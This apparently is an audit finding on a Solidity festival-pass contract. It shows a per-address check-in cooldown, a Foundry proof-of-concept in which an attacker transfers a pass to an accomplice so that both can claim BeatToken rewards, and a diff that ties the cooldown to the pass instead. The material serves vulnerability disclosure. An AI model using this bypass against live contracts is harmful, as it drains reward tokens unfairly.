function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
@> require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
@> lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
}
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract CooldownBypassTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public attacker;
address public accomplice;
uint256 constant GENERAL_PRICE = 0.05 ether;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
accomplice = makeAddr("accomplice");
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 100);
vm.deal(attacker, 10 ether);
vm.deal(accomplice, 10 ether);
}
function test_CooldownBypassWithTransfer() public {
vm.prank(attacker);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.startPrank(organizer);
uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 4 hours, 100e18);
uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 4 hours, 100e18);
vm.stopPrank();
vm.warp(block.timestamp + 90 minutes);
vm.prank(attacker);
festivalPass.attendPerformance(perf1);
vm.prank(attacker);
festivalPass.safeTransferFrom(attacker, accomplice, 1, 1, "");
vm.prank(accomplice);
festivalPass.attendPerformance(perf2);
assertEq(beatToken.balanceOf(accomplice), 100e18);
}
}
+ mapping(uint256 => uint256) public passLastCheckIn; // passId => last check-in time
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
- require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
+ uint256 userPassId = getUserPassId(msg.sender); // Helper function to get user's pass ID
+ require(block.timestamp >= passLastCheckIn[userPassId] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
- lastCheckIn[msg.sender] = block.timestamp;
+ passLastCheckIn[userPassId] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
}